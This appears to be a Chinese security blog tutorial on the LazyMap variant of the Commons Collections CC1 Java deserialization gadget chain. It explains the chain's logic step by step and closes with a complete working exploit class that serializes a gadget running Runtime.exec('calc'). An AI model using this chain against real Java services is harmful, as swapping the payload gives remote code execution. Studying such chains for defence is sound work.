WEB安全--Java安全--LazyMap_CC1利用链

一、前言

该篇是基于WEB安全--Java安全--CC1利用链-CSDN博客的补充,上篇文章利用的是TransformedMap类,而CC链的原作者是利用的LazyMap类作为介质进行的触发。

所以本文将分析国外原作者在ysoserial commonscollections1中给出的CC1利用链。

二、回顾梳理

在我的上一篇文章中,对CC1链的触发流程总结是这样的:

TransformedMap触发流程
ObjectInputStream.readObject() ==> AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler.readObject() ==> MapEntry.setValue()
MapEntry.setValue() ==> TransformedMap.checkSetValue()
TransformedMap.checkSetValue() ==> ChainedTransformer.transform()
ChainedTransformer.transform() ==> ConstantTransformer.transform()
ConstantTransformer.transform() ==> 将xxxxProxy改为Runtime.class
ChainedTransformer.transform() ==> InvokeTransformer.transform()
InvokeTransformer.transform() ==> 调用Runtime.class的exec方法执行其命令
[ ]

而LazyMap版本CC1利用链的触发流程是这样的:

LazyMap触发流程
ObjectInputStream.readObject() ==> AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler.readObject() ==> Map(Proxy).entrySet()
Map(Proxy).entrySet() ==> AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.invoke() ==> LazyMap.get()
LazyMap.get() ==> ChainedTransformer.transform()
ChainedTransformer.transform() ==> ConstantTransformer.transform()
ConstantTransformer.transform() ==> 将xxxxProxy改为Runtime.class
ChainedTransformer.transform() ==> InvokeTransformer.transform()
InvokeTransformer.transform() ==> 调用Runtime.class的exec方法执行其命令
[ ]

三、LazyMap版本CC1利用链

3.1、反向分析

现在我们主要分析:当AnnotationInvocationHandler.readObject()被触发后,通过哪些介质最后调用的ChainedTransformer.transform()

依旧是反向分析,从ChainedTransformer.transform()开始:

除了TransformedMap.checkSetValue()可以调用ChainedTransformer.transform(),还有LazyMap的get()方法也可以调用:

LazyMap.get()

构造ChainedTransformer对象:

java 复制代码
Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);




        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

当LazyMap对ChainedTransformer对象进行处理时就会触发ChainedTransformer的transform()方法

那么哪里的方法又调用了get()方法呢?

实际上在AnnotationInvocationHandler类中的invoke()方法刚好有方法满足这个条件:

AnnotationInvocationHandler.invoke()

java 复制代码
public Object invoke(Object proxy, Method method, Object[] args) {
   String member = method.getName();
   Class<?>[] paramTypes = method.getParameterTypes();
   if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");
    switch(member) {
    case "toString":
        return toStringImpl();
    case "hashCode":
        return hashCodeImpl();
    case "annotationType":
        return type;
    }
    // Handle annotation member accessors
    Object result = memberValues.get(member);

经分析,我们需要满足前两条 if 语句才能触发memberValues对象的get()方法,,否则会提前返回值

第一个if:

java 复制代码
   if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)

我们调用方法的名字不为 equals即可绕过

第二个if:

java 复制代码
if (paramTypes.length != 0)

我们无参调用方法即可绕过

接下来我们分析如何将LazyMap对象赋值给该类的memberValues变量

我们查看构造方法,发现该方法是私有的,我们无法调用

java 复制代码
    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

然后我们看一下invoke()方法所属类的定义,如下:

java 复制代码
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    ......
}

发现这个类实现了InvocationHandler接口 ,代表该类可以作为动态代理的代理处理器,只要实现了InvocationHandler接口 ,就必须重写 invoke 方法 ,并且调用使用该代理处理器代理对象方法 之前会自动执行该 invoke方法。

也就是说我们只需要创建一个代理对象,通过反射让其代理处理器为AnnotationInvocationHandler,然后无参调用代理对象的任意方法,即可触发invoke方法

在Java的动态代理机制中,在执行代理对象中的方法之前,会自动执行其代理处理器中的invoke方法

java 复制代码
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class,lazyMap);

这样触发invoke()方法的问题便解决了,接下来我们只需创建一个使用AnnotationInvocationHandler作为处理器的代理对象,并无参调用该代理对象中的方法即可,创建代理对象代码如下

java 复制代码
Map mapProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},h);

接下来便是要解决如何无参调用mapProxy对象中的方法

readObject() ==> memberValues.entrySet()

正巧,在AnnotationInvocationHandler类中的readObject()调用了memberValues.entrySet()

我们通过之前的反射获取静态方法,并将mapProxy作为对象传入

java 复制代码
Object hacker = annotationInvocationHandlerConstructor.newInstance(Target.class,mapProxy);

所以触发AnnotationInvocationHandler.readObject()方法就会触发memberValues.entrySet(),也就是会触发mapProxy.entrySet()

3.2、EXP

java 复制代码
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_LazyMap {
    public static void main(String[] args) throws Exception
    {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);




        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);



        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class,lazyMap);


        Map mapProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},h);

        Object hacker = annotationInvocationHandlerConstructor.newInstance(Target.class,mapProxy);

        serialize(hacker);
        unserialize("hacker.bin");

    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("hacker.bin"));
        oss.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
相关推荐
迎風吹頭髮4 分钟前
UNIX下C语言编程与实践55-TCP 协议基础:面向连接的可靠传输机制与三次握手、四次挥手
c语言·网络·unix
Digitally6 分钟前
如何处理旧 iPhone:安全地回收或重新利用
安全·ios·iphone
Mr_Chester12 分钟前
mybatis OGNL+优雅处理简单逻辑
java·tomcat·mybatis
郝学胜-神的一滴24 分钟前
Python中的鸭子类型:理解动态类型的力量
开发语言·python·程序人生·软件工程
道可到29 分钟前
阿里面试原题 面试通关笔记05 | 异常、泛型与反射——类型擦除的成本与优化
java·后端·面试
神仙别闹41 分钟前
基于Java(Spring Boot)+MySQL实现电商网站
java·spring boot·mysql
猫头虎1 小时前
如何解决 pip install -r requirements.txt extras 语法 ‘package[extra’ 缺少 ‘]’ 解析失败问题
开发语言·python·开源·beautifulsoup·virtualenv·pandas·pip
zhangfeng11331 小时前
R语言 读取tsv的三种方法 ,带有注释的tsv文件
开发语言·r语言·生物信息
瀚高PG实验室1 小时前
HGDB集群(安全版)repmgr手动切换主备库
java·数据库·安全·瀚高数据库
eqwaak01 小时前
动态图表导出与视频生成:精通Matplotlib Animation与FFmpeg
开发语言·python·ffmpeg·音视频·matplotlib